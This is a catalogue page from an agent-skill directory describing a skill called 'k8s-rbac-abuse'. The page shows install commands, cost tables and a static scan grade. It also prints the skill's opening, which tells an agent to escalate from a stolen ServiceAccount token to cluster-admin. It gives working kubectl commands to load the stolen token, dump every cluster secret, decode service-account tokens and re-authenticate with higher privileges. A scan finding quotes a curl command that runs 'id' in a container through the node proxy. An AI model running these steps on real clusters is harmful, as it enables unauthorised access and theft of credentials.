Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill k8s-rbac-abusegit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/k8s-rbac-abuse)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/k8s-rbac-abuse"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/k8s-rbac-abuse/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/k8s-rbac-abuse"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/k8s-rbac-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00068 | $0.01797 |
| Opus 5 | $0.00034 | $0.00898 |
| Sonnet 5 | $0.00014 | $0.00359 |
| Haiku 4.5 | $0.00007 | $0.00180 |
Grade B, and why
k8s-rbac-abuse scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -sk http://localhost:8080/api/v1/nodes/$NODE/proxy/run/POD_NS/POD_NAME/CONTAINER -X POST -d 'cmd=id' Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sk http://localhost:8080/api/v1/nodes/$NODE/proxy/run/POD_NS/POD_NAME/CONTAINER -X POST -d 'cmd=id' This is a copy
100% identical to k8s-rbac-abuse — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 177 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Kubernetes RBAC Privilege Escalation
You have a Kubernetes ServiceAccount token (from a pod escape, kubeconfig leak, or compromised CI runner). Find the path from this SA to cluster-admin.
Phase 1: Enumerate current permissions
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER=https://kubernetes.default.svc
# Set up kubectl with the stolen token
kubectl config set-credentials hacked --token="$TOKEN"
kubectl config set-cluster c --server=$APISERVER --insecure-skip-tls-verify
kubectl config set-context c --cluster=c --user=hacked --namespace=$NS
kubectl config use-context c
# Enumerate everything you can do
kubectl auth can-i --list # in your namespace
kubectl auth can-i --list --all-namespaces # cluster-wide (often forbidden — that's a signal too)
kubectl auth can-i '*' '*' --all-namespaces # are you cluster-admin?
# Get your role bindings
kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name | contains("YOUR_SA_NAME"))'
Phase 2: Classic escalation paths
2.1 pods/exec or pods/attach on a privileged pod
If you can exec into a pod that has a privileged SecurityContext or a sensitive volume mount, you take that pod's identity:
# Find pods you can exec into
kubectl auth can-i create pods/exec
# Find privileged pods
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged == true) | "\(.metadata.namespace)/\(.metadata.name)"'
# Exec → escape (see k8s-pod-escape skill)
kubectl exec -it -n kube-system privileged-pod-name -- /bin/sh
2.2 secrets get/list cluster-wide
# Dump every secret in the cluster
kubectl get secrets -A -o json > all_secrets.json
# Service-account tokens, image-pull secrets, custom-application secrets — all here
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name): \(.data.token | @base64d)"' all_secrets.json | head
# Pick a more-privileged SA token and re-authenticate
NEW_TOKEN=$(kubectl get secret -n kube-system $(kubectl get sa -n kube-system -o name | head -1 | cut -d/ -f2)-token-XXXXX -o jsonpath='{.data.token}' | base64 -d)
kubectl --token="$NEW_TOKEN" auth can-i '*' '*' --all-namespaces
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 12d ago First seen · 177 lines · 68 tokens per session scan B f1436ab43ce8
k8s-rbac-abuse is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 68 tokens to every session and 1,797 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (sends data to an external url, makes network calls). It is 100% identical to k8s-rbac-abuse, differing in 0 lines, and is treated as a copy.
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